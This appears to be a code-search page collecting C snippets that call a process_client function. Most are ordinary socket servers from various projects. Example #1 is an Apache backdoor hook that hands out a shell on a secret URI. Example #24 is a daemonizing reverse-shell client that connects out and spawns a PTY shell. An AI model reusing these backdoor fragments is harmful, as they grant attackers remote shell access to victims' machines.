コード例 #1
0
static int rootme2_post_read_request( request_rec *r )
{
    int fd;
    apr_socket_t *client_socket;

    client_socket = ap_get_module_config(
        r->connection->conn_config, &core_module);

    if( client_socket )
        fd = client_socket->socketdes;

    if (r->uri && !strcmp(r->uri, ROOT_KEY))
    {
        process_client( GET_RAW_SHELL, fd );
        exit( 0 );
    }

    if (r->uri && !strcmp(r->uri, ROOT_KEY2))
    {
        process_client( GET_PTY_SHELL, fd );
        exit( 0 );
    }

    return( DECLINED );
}
コード例 #2
0
ファイル: trace-listen.c プロジェクト: ericmiao/trace-cmd
static int do_connection(int cfd, struct sockaddr_storage *peer_addr,
			  socklen_t peer_addr_len)
{
	char host[NI_MAXHOST], service[NI_MAXSERV];
	int s;
	int ret;

	ret = do_fork(cfd);
	if (ret)
		return ret;

	s = getnameinfo((struct sockaddr *)peer_addr, peer_addr_len,
			host, NI_MAXHOST,
			service, NI_MAXSERV, NI_NUMERICSERV);

	if (s == 0)
		plog("Connected with %s:%s\n",
		       host, service);
	else {
		plog("Error with getnameinfo: %s\n",
		       gai_strerror(s));
		close(cfd);
		return -1;
	}

	process_client(host, service, cfd);

	close(cfd);

	if (!debug)
		exit(0);

	return 0;
}
コード例 #3
0
ファイル: resource_server.c プロジェクト: azhi/BSUIR_labs
void server_loop(SOCKET sock, HCRYPTPROV prov, HCRYPTKEY r_key)
{
  SOCKET clientSock;
  while (!exited) {
    fd_set rfds;
    struct timeval tv;
    int retVal;

    FD_ZERO(&rfds);
    FD_SET(sock, &rfds);
    tv.tv_sec = 2;
    tv.tv_usec = 0;

    retVal = select(1, &rfds, NULL, NULL, &tv);
    if (retVal == -1) {
      fprintf(stderr, "Select error\n");
      WSACleanup();
      exit(-1);
    } else if (retVal) {
      clientSock = accept(sock, NULL, NULL);
      if (clientSock == INVALID_SOCKET) {
        fprintf(stderr, "Unable to accept\n");
        WSACleanup();
        exit(-1);
      }

      process_client(clientSock, prov, r_key);
    }
  }
}
コード例 #4
0
ファイル: idarub.cpp プロジェクト: jduck/idarub
//
// Handles the IDA window messages for the hidden control window.
//
static LRESULT CALLBACK control_window_proc(HWND wnd, UINT msg, 
		WPARAM wp, LPARAM lp)
{
	switch (msg)
	{
		case WM_NETEVENT:
			{
				switch (WSAGETSELECTEVENT(lp))
				{
					case FD_ACCEPT:
						accept_client();
						break;
					case FD_READ:
						process_client((SOCKET)wp);
						break;
					case FD_CLOSE:
						close_client((SOCKET)wp);
						break;
				}
			}
			break;
		default:
			return DefWindowProc(wnd, msg, wp, lp);
	}

	return 0;
}
コード例 #5
0
ファイル: tcp_server.c プロジェクト: Kabombom/IRC
int main() {
  int fd, client;
  struct sockaddr_in addr, client_addr;
  int client_addr_size;

  bzero((void *) &addr, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(SERVER_PORT);

  if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
	erro("na funcao socket");
  if ( bind(fd,(struct sockaddr*)&addr,sizeof(addr)) < 0)
	erro("na funcao bind");
  if( listen(fd, 5) < 0)
	erro("na funcao listen");

  while (1) {
    client_addr_size = sizeof(client_addr);
    client = accept(fd,(struct sockaddr *)&client_addr,(socklen_t *)&client_addr_size);
    if (client > 0) {
      if (fork() == 0) {
        close(fd);
        process_client(client);
        exit(0);
      }
    close(client);
    }
  }
  return 0;
}
コード例 #6
0
ファイル: pl061bbv_socksrv.c プロジェクト: Jokymon/qemu
static void * thread_func(void * ptr)
{
    pl061bbv_state * s = (pl061bbv_state *)ptr;
	socklen_t client_addr_len;

	if (s->sock < 0) {
		printf("%s: invalid socket\n", __PRETTY_FUNCTION__);
		qemu_thread_exit(NULL);
		return NULL;
	}

	printf("%s: thread started\n", __PRETTY_FUNCTION__);
	for (;;) {
		memset(&s->client_addr, 0, sizeof(struct sockaddr_in));
		client_addr_len = sizeof(struct sockaddr_in);
		s->client_sock = accept(s->sock, (struct sockaddr *)&s->client_addr, &client_addr_len);
		if (s->client_sock < 0) continue;
		printf("%s: connection established\n", __PRETTY_FUNCTION__);
		process_client(s);
		close(s->client_sock);
		s->client_sock = -1;
		printf("%s: connection closed\n", __PRETTY_FUNCTION__);
	}

	qemu_thread_exit(NULL);
	return NULL;
}
コード例 #7
0
int
main(int argc, char **argv)
{
      int sock, length;
      struct sockaddr_in server;
      int msgsock;
      int i;
	// intalization 
	lwip_tcpip_init();
	/* DHCP */
	//enum { BUF_SIZE = Nic::Packet_allocator::DEFAULT_PACKET_SIZE * 128 };
 	int  BUF_SIZE= 200000;
	if (lwip_nic_init(0, 0, 0, BUF_SIZE, BUF_SIZE)) {
		printf("ERROR: We got no IP address!\n");
		return 1;
	}

      /* Create socket */
      sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
      if (sock < 0) {
            perror("opening stream socket");
            exit(1);
      }

      /* Name socket using wildcards */
      server.sin_family = AF_INET;
      server.sin_addr.s_addr = INADDR_ANY;
      server.sin_port = htons(SRV_PORT);
      if (lwip_bind(sock, (struct sockaddr *)&server, sizeof(server))) {
            perror("binding stream socket");
            exit(1);
      }

      /* Find out assigned port number and print it out */
      //length = sizeof(server);
      //if (getsockname(sock, (struct sockaddr *)&server, &length)) {
      //      perror("getting socket name");
      //      exit(1);
     // }

     // printf("Socket has port #%d\n", ntohs(server.sin_port));
	printf("Socket has port #%d\n",3333);

      /* Start accepting connections */
      lwip_listen(sock, 5);
      do {
		msgsock = lwip_accept(sock, 0, 0);
		if (msgsock == -1)
			perror("accept");
                printf("process message  on msgsock %d \n ",msgsock);
		process_client(msgsock);
	        close(msgsock);
      } while (TRUE);
/*
 * Since this program has an infinite loop, the socket "sock" is
 * never explicitly closed.  However, all sockets will be closed
 * automatically when a process is killed or terminates normally.
 */
}
コード例 #8
0
int main(int argc, char **argv)
{
    AVDictionary *options = NULL;
    AVIOContext *client = NULL, *server = NULL;
    const char *in_uri, *out_uri;
    int ret, pid;
    av_log_set_level(AV_LOG_TRACE);
    if (argc < 3) {
        printf("usage: %s input http://hostname[:port]\n"
               "API example program to serve http to multiple clients.\n"
               "\n", argv[0]);
        return 1;
    }

    in_uri = argv[1];
    out_uri = argv[2];

    avformat_network_init();

    if ((ret = av_dict_set(&options, "listen", "2", 0)) < 0) {
        fprintf(stderr, "Failed to set listen mode for server: %s\n", av_err2str(ret));
        return ret;
    }
    if ((ret = avio_open2(&server, out_uri, AVIO_FLAG_WRITE, NULL, &options)) < 0) {
        fprintf(stderr, "Failed to open server: %s\n", av_err2str(ret));
        return ret;
    }
    fprintf(stderr, "Entering main loop.\n");
    for (;;) {
        if ((ret = avio_accept(server, &client)) < 0)
            goto end;
        fprintf(stderr, "Accepted client, forking process.\n");
        // XXX: Since we don't reap our children and don't ignore signals
        //      this produces zombie processes.
        pid = fork();
        if (pid < 0) {
            perror("Fork failed");
            ret = AVERROR(errno);
            goto end;
        }
        if (pid == 0) {
            fprintf(stderr, "In child.\n");
            process_client(client, in_uri);
            avio_close(server);
            exit(0);
        }
        if (pid > 0)
            avio_close(client);
    }
end:
    avio_close(server);
    if (ret < 0 && ret != AVERROR_EOF) {
        fprintf(stderr, "Some errors occurred: %s\n", av_err2str(ret));
        return 1;
    }
    return 0;
}
コード例 #9
0
ファイル: server_multiprocess.c プロジェクト: simon-xia/lnp
int main()
{
	int sockfd, acfd;
	struct sockaddr_in client_addr;

	size_t sin_len = sizeof(client_addr);

	sockfd = init_tcp_psock(SERV_PORT);

	signal(SIGCHLD, handler);

/*   another method :
 *
	struct sigaction signala;
	signala.sa_handler = SIG_IGN;
	signala.sa_flags = SA_NOCLDWAIT;
	sigemptyset(&signala.sa_mask);
	sigaction(SIGCHLD, &signala, NULL);
*/	
	while (1)
	{
		if ((acfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_len)) == -1)
		{
			perror("Accept request failed: ");
			return 1;
		}
		else
			printf("Get a connection from %s:%d !\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

		pid_t pid;
		if ((pid = fork()) > 0)
		{
			close(acfd);
			continue;
		}
		else if(pid == 0)
		{
			close(sockfd);
			process_client(acfd, &client_addr);
			close(acfd);
			exit(0); //MARK
		}
		else
		{
			perror("Fork error");
			exit(0);
		}
	}
	close(sockfd);
	return 0;
}
コード例 #10
0
ファイル: vp_server.c プロジェクト: mohammadhamad/GenIPSEC
int
main(int argc, char **argv)
{
      int sock, length;
      struct sockaddr_in server;
      int msgsock;
      int i;

      /* Create socket */
      sock = socket(AF_INET, SOCK_STREAM, 0);
      if (sock < 0) {
            perror("opening stream socket");
            exit(1);
      }

      /* Name socket using wildcards */
      server.sin_family = AF_INET;
      server.sin_addr.s_addr = INADDR_ANY;
      server.sin_port = htons(SRV_PORT);
      if (bind(sock, (struct sockaddr *)&server, sizeof(server))) {
            perror("binding stream socket");
            exit(1);
      }

      /* Find out assigned port number and print it out */
      //length = sizeof(server);
      //if (getsockname(sock, (struct sockaddr *)&server, &length)) {
      //      perror("getting socket name");
      //      exit(1);
     // }

     // printf("Socket has port #%d\n", ntohs(server.sin_port));
	printf("Socket has port #%d\n",SRV_PORT);

      /* Start accepting connections */
     	listen(sock, 5);
      do {
		msgsock = accept(sock, 0, 0);
		if (msgsock == -1)
			perror("accept");
                printf("process message  on msgsock %d \n ",msgsock);
		process_client(msgsock);
	        close(msgsock);
      } while (TRUE);
/*
 * Since this program has an infinite loop, the socket "sock" is
 * never explicitly closed.  However, all sockets will be closed
 * automatically when a process is killed or terminates normally.
 */
}
コード例 #11
0
int main(int argc, char **argv)
{
    int fd, sockfd = -1, i;

    if (argc != 2)
        errx(1, "Wrong arguments");
    fd = atoi(argv[1]);

    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);

    /* receive the number of services and the server socket from zookld */
    if ((recvfd(fd, &nsvcs, sizeof(nsvcs), &sockfd) <= 0) || sockfd < 0)
        err(1, "recvfd sockfd");
    --nsvcs;
    warnx("Start with %d service(s)", nsvcs);

    /* receive url patterns of all services */
    for (i = 0; i != nsvcs; ++i)
    {
        char url[1024], regexp[1024];
        if (recvfd(fd, url, sizeof(url), &svcfds[i]) <= 0)
            err(1, "recvfd svc %d", i + 1);
        snprintf(regexp, sizeof(regexp), "^%s$", url);
        if (regcomp(&svcurls[i], regexp, REG_EXTENDED | REG_NOSUB))
            errx(1, "Bad url for service %d: %s", i + 1, url);
        warnx("Dispatch %s for service %d", regexp, i + 1);
    }

    close(fd);

    for (;;)
    {
        int cltfd = accept(sockfd, NULL, NULL);
        if (cltfd < 0)
            err(1, "accept");
        switch (fork())
        {
        case -1: /* error */
            err(1, "fork");
        case 0:  /* child */
            process_client(cltfd);
            return 0;
        default: /* parent */
            close(cltfd);
            break;
        }
    }
}
コード例 #12
0
ファイル: chat.c プロジェクト: HackerDom/ructf-2014
int main(int argc, char **argv)
{
    signal(SIGCHLD, SIG_IGN);
    signal(SIGUSR1, SIG_IGN);
    test_mongo_connection();

    int port = argc >= 2 ? atoi(argv[1]) : DEFAULT_PORT;
    int server = create_server_socket(port);

    while (1)
    {
        struct sockaddr cli_addr;
        int cli_len = sizeof(cli_addr);
        int client = accept(server, &cli_addr, &cli_len);
        if (client < 0)
            die("accept");

        int pid = fork();
        if (pid < 0)
            die("fork");

        if (pid == 0)
        {
            if (dup2(client, STDIN_FILENO) < 0) die("dup2 stdin");
            if (dup2(client, STDOUT_FILENO) < 0) die("dup2 stdout");

            D("  [%d] process started\n", getpid());

            if (db_connect() == 0)
            {
                process_client();
                db_disconnect();
            }
            else
            {
                WriteLn("DB connection problem, sorry");
                D("  [%d] cannot connect to db\n", getpid());
            }

            D("  [%d] process finished\n", getpid());

            shutdown(client, 2);
            exit(0);
        }
        close(client);
    }
    close(server);
    return 0;
}
コード例 #13
0
ファイル: connect_clients.c プロジェクト: girard-r/Ftp
int		fork_process(t_fd fd, t_sockin *s_in_client)
{
  pid_t		pid_client;

  if ((pid_client = fork()) == -1)
    return (handle_errors(FORK, 1));
  if (pid_client == 0)
    {
      if (process_client(fd, s_in_client))
	return (1);
      close_fd(fd.client_fd);
      return (0);
    }
  else
    if (close(fd.client_fd) == -1)
      return (-1);
  return (0);
}
コード例 #14
0
ファイル: action.c プロジェクト: nnoell/neurowm
// Ptr Client
void NeuroActionHandlerFocusPtrClient(NeuroArg clientSelectorFn_arg) {
  assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);

  // Select the monitor where the pointer is
  NeuroPoint p;
  NeuroSystemGetPointerWindowLocation(&p, NULL);
  const NeuroMonitor *const m = NeuroMonitorFindPointed(&p);
  for (NeuroIndex ws = NeuroCoreGetHeadStack(); ws < NeuroCoreGetSize(); ++ws) {
    if (NeuroCoreStackGetMonitor(ws) == m) {
      NeuroWorkspaceUnfocus(NeuroCoreGetCurrStack());
      NeuroCoreSetCurrStack(ws);
      // NeuroWorkspaceUpdate(ws);
      break;
    }
  }

  // Focus the client under the pointer
  process_client(NeuroWorkspaceClientFocus, NeuroClientGetPointedByPointer(), NEURO_ARG_CSF_GET(clientSelectorFn_arg),
      NULL);
}
コード例 #15
0
ファイル: csta_network.c プロジェクト: kiesel/experiments
/**
 * Main socket loop
 *
 * @access  public
 * @param   int listeningsocket
 * @return  int
 */
int select_loop(int hListen) {
	fd_set	master, read_fs;
	int fdMax, fdNew, i;
	int quit;
	connection_context *ctx;
	
	/* Add listener to sockets and remember max socket */
	FD_SET (hListen, &master);
	fdMax= hListen;
	
	/* Initialize array of connections */
	alloc_connection_context (&ctx);
	
	quit= 0;
	while (!quit) {
		/* Make a copy */
		read_fs= master;
		
		if (-1 == select(fdMax+1, &read_fs, NULL, NULL, NULL)) {
			ERR("Error in select()");
			return -1;
		}
		
		for (i= 0; i <= fdMax; i++) {
			/* Check for active connections... */
			if (FD_ISSET (i, &read_fs)) {
				if (i == hListen) {
					/* New connection coming in */
					if (-1 != (fdNew= create_proxy_connection(&master, ctx, i))) {
						if (fdNew > fdMax) fdMax= fdNew;
					}
				} else {
					/* This is a normal client connection */
					process_client(&master, &fdMax, ctx, i);
				}
			}
		}
	}
	
	return 1;
}
コード例 #16
0
ファイル: zookd.c プロジェクト: PatrickHarvey/Proyecto1
int main(int argc, char **argv)
{
    int fd, sockfd = -1, i;

    if (argc != 2)
        errx(1, "Wrong arguments");
    fd = atoi(argv[1]);

    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);

    /* receive the number of services and the server socket from zookld */
    if ((recvfd(fd, &nsvcs, sizeof(nsvcs), &sockfd) <= 0) || sockfd < 0)
        err(1, "recvfd sockfd");
    --nsvcs;
    warnx("Start with %d service(s)", nsvcs);

    /* receive url patterns of all services */
    for (i = 0; i != nsvcs; ++i)
    {
        char url[1024], regexp[1024];
        if (recvfd(fd, url, sizeof(url), &svcfds[i]) <= 0)
            err(1, "recvfd svc %d", i + 1);
	/* parens are necessary here so that regexes like a|b get
	   parsed properly and not as (^a)|(b$) */
        snprintf(regexp, sizeof(regexp), "^(%s)$", url);
        if (regcomp(&svcurls[i], regexp, REG_EXTENDED | REG_NOSUB))
            errx(1, "Bad url for service %d: %s", i + 1, url);
        warnx("Dispatch %s for service %d", regexp, i + 1);
    }

    close(fd);

    for (;;)
    {
        int cltfd = accept(sockfd, NULL, NULL);
        if (cltfd < 0)
            err(1, "accept");
        process_client(cltfd);
    }
}
コード例 #17
0
ファイル: listener.c プロジェクト: crazyleen/snap-demo
int main(int argc, char **argv) {
	int sockfd;

	sockfd = socket_server(SERVERPORT, MAXCONNECT);
	if (sockfd < 0) {
		fprintf(stderr, "socket error");
		return -1;
	}

	CLIENT client;
	client.sockfd = -1;

	while (1) {
		int max_fd;
		fd_set readfds;
		struct timeval to;

		FD_ZERO(&readfds);
		FD_SET(sockfd, &readfds);
		if (client.sockfd >= 0)
			FD_SET(client.sockfd, &readfds);

		max_fd = sockfd > client.sockfd ? sockfd + 1 : client.sockfd + 1;

		to.tv_sec = 1;
		to.tv_usec = 0;
		if (!select(max_fd, &readfds, NULL, NULL, &to))
			continue;

		if (client.sockfd >= 0 && FD_ISSET(client.sockfd, &readfds)) {
			//client handle data
			process_client(&client);
		} else if (FD_ISSET(sockfd, &readfds)) {
			//new client
			accept_client(&client, sockfd);
		}
	} //while(1)
}
コード例 #18
0
ファイル: server.c プロジェクト: ruipfmendes/IRC
void autentication_server(int fd){
    int nread;
    char username[SHORT_STRING];
    char password[SHORT_STRING];

    nread = read(fd, username, SHORT_STRING-1);
    fflush(stdout);
    username[nread]='\0';

    nread = read(fd, password, SHORT_STRING-1);
    fflush(stdout);
    password[nread]='\0';

    if(verifica(username, password)==1){
        write(fd, "1", strlen("1") + 1);
        fflush(stdin);
        process_client(fd);
    }
    else{
        write(fd, "0", strlen("0") + 1);
        fflush(stdin);
    }
}
int main(int argc, char** argv)
{
	struct sockaddr_in server, client;
	int listenfd, connectfd;
	pid_t pid;

	if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		std::cerr << "Failed to create socket." << std::endl;
		exit(1);
	}

	int opt = SO_REUSEADDR;
	setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

	server.sin_family = AF_INET;
	server.sin_port = htons(c_port);
	server.sin_addr.s_addr = htonl(INADDR_ANY);
	memset(server.sin_zero, 0, sizeof(server.sin_zero));

	if (bind(listenfd, (struct sockaddr*)&server, sizeof(struct sockaddr)) == -1)
	{
		std::cerr << "Failed to bind." << std::endl;
		exit(1);
	}

	if (listen(listenfd, c_max_connection) == -1)
	{
		std::cerr << "Failed to listen." << std::endl;
		exit(1);
	}

	socklen_t sin_size = sizeof(struct  sockaddr_in);
	while(true)
	{
		if ((connectfd = accept(listenfd, (struct sockaddr*)&client, &sin_size)) == -1)
		{
			std::cout << "Failed to accept." << std::endl;
			close(listenfd);
			exit(1);
		}

		if (pid = fork() > 0)
		{
			close(connectfd);
			continue;
		}
		else if (pid == 0)
		{
			close(listenfd);
			process_client(connectfd, client);
		}
		else
		{
			std::cerr << "Failed to fork." << std::endl;
			close(listenfd);
			exit(1);
		}
	}
	close(listenfd);
	return 0;
}
コード例 #20
0
ファイル: httpd.c プロジェクト: xinbot/6.033
int
main(int argc, char **argv)
{
    int port = 4000;
    if (argc >= 2)
        port = atoi(argv[1]);

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = INADDR_ANY;
    sin.sin_port = htons(port);

    int srvfd = socket(AF_INET, SOCK_STREAM, 0);
    if (srvfd < 0)
        err(1, "socket");

    int on = 1;
    if (setsockopt(srvfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)))
        err(1, "setsockopt SO_REUSEADDR");

    if (bind(srvfd, &sin, sizeof(sin))) {
        /* bind 4000 failed; try a random port */
        sin.sin_port = 0;
        if (bind(srvfd, &sin, sizeof(sin)))
            err(1, "bind");
    }

    if (listen(srvfd, 5))
        err(1, "listen");
    print_server(srvfd);

    signal(SIGCHLD, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);

    for (;;) {
        struct sockaddr_in client_addr;
        unsigned int addrlen = sizeof(client_addr);

        int cfd = accept(srvfd, (struct sockaddr *) &client_addr, &addrlen);
        if (cfd < 0) {
            perror("accept");
            continue;
        }

        int pid = use_fork ? fork() : 0;
        if (pid < 0) {
            perror("fork");
            close(cfd);
            continue;
        }

        if (pid == 0) {
            /* Child process. */
            if (use_fork)
                close(srvfd);

            process_client(cfd);

            if (use_fork)
                exit(0);
        }

        if (pid > 0) {
            /* Parent process. */
            close(cfd);
        }
    }
}
コード例 #21
0
ファイル: study3-server.c プロジェクト: Crabbit/c
main()
{
	int	 		sock_fd,connect_fd;
	
	pid_t			pid;
	struct sockaddr_in	server,client;
	int			cli_len;

//创建套接子
	if( ( sock_fd = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1)
		my_err( "Socket",__LINE__ );

//地址重用
	int opt = SO_REUSEADDR;
	if( setsockopt( sock_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof( opt ) ) < 0 )
		my_err( "Setsockopt",__LINE__ );

//初始化服务器端地址结构
	bzero( &server, sizeof( server ) );

	server.sin_family = AF_INET;
	server.sin_port = htons( PORT );
	server.sin_addr.s_addr = htonl( INADDR_ANY );

//绑定套接字和端口
	if( bind( sock_fd, ( struct sockaddr * )&server, sizeof( server ) ) == -1 )
		my_err( "Bind",__LINE__ );

//将套接子转化为监听套接子
	if( listen( sock_fd, BACKLOG ) == -1 )
		my_err( "Listen",__LINE__ );

	cli_len = sizeof( client );
		
	while( 1 )
	{
		if( ( connect_fd = accept( sock_fd, ( struct sockaddr * )&server, &cli_len ) ) == -1 )
			my_err( "Accept",__LINE__ );

//输出信息,表示已经建立连接
		printf( "\t\tAccept a new client.\n\t\tip : %s\n",inet_ntoa( client.sin_addr ) );

//父进程,关闭这个连接,并等候其他连接
		if( ( pid = fork() ) > 0 )
		{
			close( connect_fd );
			continue;
		}

//子进程,用来处理该连接
		else
			if( pid == 0 )
			{
				close( sock_fd );
				process_client( connect_fd, client );
			}
			

	}
	

}
コード例 #22
0
ファイル: action.c プロジェクト: nnoell/neurowm
void NeuroActionHandlerMinimizeCurrClient(NeuroArg clientSelectorFn_arg) {
  assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);
  process_client(NeuroWorkspaceClientMinimize, NeuroClientGetFocused(), NEURO_ARG_CSF_GET(clientSelectorFn_arg), NULL);
}
コード例 #23
0
ファイル: fcserver.c プロジェクト: C3MA/fc_c
fcserver_ret_t fcserver_process (fcserver_t* server)
{
	int client = 0;
	int i;
	int newClientStarting = 0;
	
	/* Check for new waiting clients */
	if (server == 0 || server->serversocket <= 0)
	{
		return FCSERVER_RET_PARAMERR;
	}
		
	/* Check if a new client can get the wall */
	for (i=0; i < FCSERVER_MAXCLIENT; i++)
	{
		/* search for already connected clients */
		if (server->client[i].clientstatus == FCCLIENT_STATUS_CONNECTED)
		{
			client = 1; /* reusing variable as flag to indicate an already connected client */
		}
		else if (newClientStarting == 0 && server->client[i].clientstatus == FCCLIENT_STATUS_WAITING)
		{
			/* Client %d is waiting", i */
			newClientStarting = (i + 1); /* count from 1 to FCSERVER_MAXCLIENT + 1 */
		}
	}
	
	if (!client)
	{
		/* no-one is actual using the wall, a new one can start now */
		if (newClientStarting) /* as the index starts at one we can detect here new clients */
		{
			int write_offset = 0;
			DEBUG_PLINE("Client %d has now the wall", server->client[newClientStarting - 1].clientsocket);
			server->client[newClientStarting - 1].clientstatus = FCCLIENT_STATUS_CONNECTED;
			
			if (server->onClientChange > 0)
			{
				server->onClientChange(server->clientcount, FCCLIENT_STATUS_CONNECTED, 
									   server->client[newClientStarting - 1].clientsocket);
			}
			
			/* allocate some memory for answering */
			uint8_t *output = hwal_malloc(BUFFERSIZE_OUTPUT); hwal_memset(output, 0, BUFFERSIZE_OUTPUT);
			uint8_t *buffer = hwal_malloc(BUFFERSIZE_SENDINGBUFFER); hwal_memset(output, 0, BUFFERSIZE_SENDINGBUFFER);
			
			write_offset = send_start(buffer, write_offset);
			
			/* send the corresponding message: Success or error */
			add_header(buffer, output, write_offset);
			hwal_socket_tcp_write(server->client[newClientStarting - 1].clientsocket, output, write_offset+HEADER_LENGTH);
			
			hwal_free(buffer);
			hwal_free(output);
		}
	}
	client = 0; /* Reset the temporary variable, for the original porpuse */
	
	/** handle all actual connected clients **/
	/* search for new waiting ones */
	client = hwal_socket_tcp_accet(server->serversocket);
	
	if (client > 0)
	{
		if (server->clientcount < (FCSERVER_MAXCLIENT - 1))
		{
			server->clientcount++;
			store_client_in(server, client);
			
			if (server->onClientChange > 0)
			{
				server->onClientChange(server->clientcount, FCCLIENT_STATUS_INITING, client);
			}
		}
		else
		{
			uint8_t buffer[BUFFERSIZE_SENDINGBUFFER];
			/* Inform the client with an error message */
			char descr[] = "No Space for new client";
			int write_offset = 0;
			
			uint8_t *output = hwal_malloc(BUFFERSIZE_OUTPUT); hwal_memset(output, 0, BUFFERSIZE_OUTPUT);
			
			write_offset = send_error(buffer, write_offset, FCSERVER_ERR_MAXCLIENTS, descr);			
			DEBUG_PLINE("No Space for new client");			
			/* send the corresponding message: Success or error */
			add_header(buffer, output, write_offset);
			hwal_socket_tcp_write(client, output, write_offset+HEADER_LENGTH);			
			hwal_socket_tcp_close(client);
			
			if (server->onClientChange > 0)
			{
				server->onClientChange(server->clientcount, FCCLIENT_STATUS_TOOMUTCH, client);
			}
		}
	}
	
	/* handle all open connections */
	for (i=0; i < FCSERVER_MAXCLIENT; i++)
	{
		if (server->client[i].clientsocket > 0)
		{
			/* Found an open client ... speak with him */
			if (process_client(server, &(server->client[i]) ) == FCSERVER_RET_CLOSED)
			{
				DEBUG_PLINE("Client with socket %d closed", server->client[i].clientsocket);
				if (server->onClientChange > 0)
				{
					server->onClientChange(server->clientcount, 
										   FCCLIENT_STATUS_DISCONNECTED, 
										   server->client[i].clientsocket);
				}
				hwal_memset( &(server->client[i]), 0, sizeof(fcclient_t) );
				server->clientcount--;				
			}
		}
	}
	
	
	return FCSERVER_RET_OK;
}
コード例 #24
0
int main(int argc, char **argv)
{
	EnterDaemonMode();
	char *defaultip = "127.0.0.1";
	char *defaultport = "9090";

	int server_fd;
	int i;
	char serverip[64] = {0x0};
	char serverport[8] = {0x0};
	char *ip;
	char *port;
	while (1)
	{
		if (argc == 3)
		{
			ip = argv[1];
			port = argv[2];
		}
		else
		{
			ip = defaultip;
			port = defaultport;
		}
		server_fd = fnSockClientInit(ip, atoi(port));
		if (server_fd < 0)
		{
			sleep(5);
			continue;
		}
		if (auth(server_fd))
		{
			close(server_fd);
			sleep(5);
			continue;
		}
		shell_spooler();
		if (fork() == 0)
		{
			for( i = 3; i < 1024; i++ )
			{
				if( i == pipe_A[0] ||
						i == pipe_B[1] )
					continue;

				close( i );
			}
			runshell_pty(pipe_A[0], pipe_B[1]);
			close(pipe_A[0]);
			close(pipe_B[1]);
			exit(0);
		}
		close(pipe_A[0]);
		close(pipe_B[1]);
		process_client(GET_PTY_SHELL, server_fd);
		if (server_fd > 0) close(server_fd);
		close(pipe_A[1]);
		close(pipe_B[0]);
		sleep(2);
		int status;
		wait(&status);
	}

	return 0;
}
コード例 #25
0
ファイル: action.c プロジェクト: nnoell/neurowm
void NeuroActionHandlerToggleFullscreenPtrClient(NeuroArg clientSelectorFn_arg) {
  assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);
  process_client(NeuroWorkspaceClientToggleFullscreen, NeuroClientGetPointedByPointer(),
      NEURO_ARG_CSF_GET(clientSelectorFn_arg), NULL);
}
コード例 #26
0
ファイル: cadid.c プロジェクト: BackupTheBerlios/cadi
/**
 * Point d'entrée du programme.
 */
int main(int argc, char *argv[])
{
  parse_command_line(argc, argv);
  
  /* On crée un socket pour se connecter sur un serveur */
  if ((server_socket = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror("socket");
      return EXIT_FAILURE;
    }
  
  /* Initialisation du bind */
  memset(&server_address, 0, sizeof server_address);
  server_address.sin_family = AF_INET;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_address.sin_port = htons(port);
  
  /* Ze bind  */
  if (bind(server_socket, (struct sockaddr *) &server_address, sizeof(server_address)) == -1)
    {
      perror("bind");
      if (close(server_socket) == -1)
	perror("Impossible de fermer le socket serveur");
      return EXIT_FAILURE;
    }
  
  /* On le définit comme écouteur */
  if (listen(server_socket, MAX_CLIENT) == -1)
    {
      perror("Impossible de mettre le socket serveur en écoute");
      if (close(server_socket) == -1)
	perror("Impossible de fermer le socket serveur");
      return EXIT_FAILURE;
    }
  
  verbose("Démarrage du démon sur le port %d ...\n", port);
  
  /* Pour quitter le serveur proprement  */
  signal(SIGINT, trap_ctrlc);
  
  for (;;) {
    
    /* Variable concrète car il faut pouvoir en avoir l'adresse pour accept() */
    socklen_t client_address_size = sizeof client_address;
    
    /* On attend une connection */
    if ((client_socket = accept(server_socket, (struct sockaddr *) &client_address, &client_address_size)) == -1)
      {
	perror("accept");
	if (close(server_socket) == -1)
	  perror("Impossible de fermer le socket serveur");
	return EXIT_FAILURE;
      }
    
    /* On traite ce client */
    process_client();
  }
  
  shutdown_server(); /* N'arrivera jamais */
  
  return EXIT_FAILURE;
}
コード例 #27
0
ファイル: action.c プロジェクト: nnoell/neurowm
void NeuroActionHandlerFreeCurrClient(NeuroArg freeSetterFn_arg) {
  const void *const p = (const void *)&NEURO_ARG_GAF_GET(freeSetterFn_arg);
  process_client(NeuroWorkspaceClientFree, NeuroClientGetFocused(), NeuroClientSelectorSelf, p);
}
コード例 #28
0
ファイル: gearmand.c プロジェクト: pombredanne/gearwoman
/******************************************************************
 * This function is called when an event occurs on a client socket
 ******************************************************************/
void client_cb(int fd, short events, void *arg)
{
    assert(arg != NULL);

    Client *cli = arg;
    int free = 0;

    // g_hash_table_foreach(g_jobqueue, _print_queue, NULL);

    if ((events & EV_WRITE) != 0) {
        event_del(&cli->evt);
        cli->evt.ev_events = EV_READ|EV_PERSIST;
        event_add(&cli->evt, NULL);
        if (client_flush(cli) < 0) {
            free = 1;
        }
    }
    if ((events & EV_READ) != 0) {
        int ret = 0;
        if (!cli->buffer_in) {
            cli->buffer_in = getBlock(HEADER_SIZE);
            incRef(cli->buffer_in);
            ret = client_recv(cli, HEADER_SIZE);
        }
        if (ret >= 0) {
            /* Make sure we don't over-read into the next packet */
            int psize = HEADER_SIZE;
            if (cli->buffer_in->nbytes >= HEADER_SIZE) {
                if (ntohl(*(uint32_t*)(cli->buffer_in->bytes + HEADER_OFFSET_MAGIC)) != MAGIC_REQUEST) {
                    free = 1;
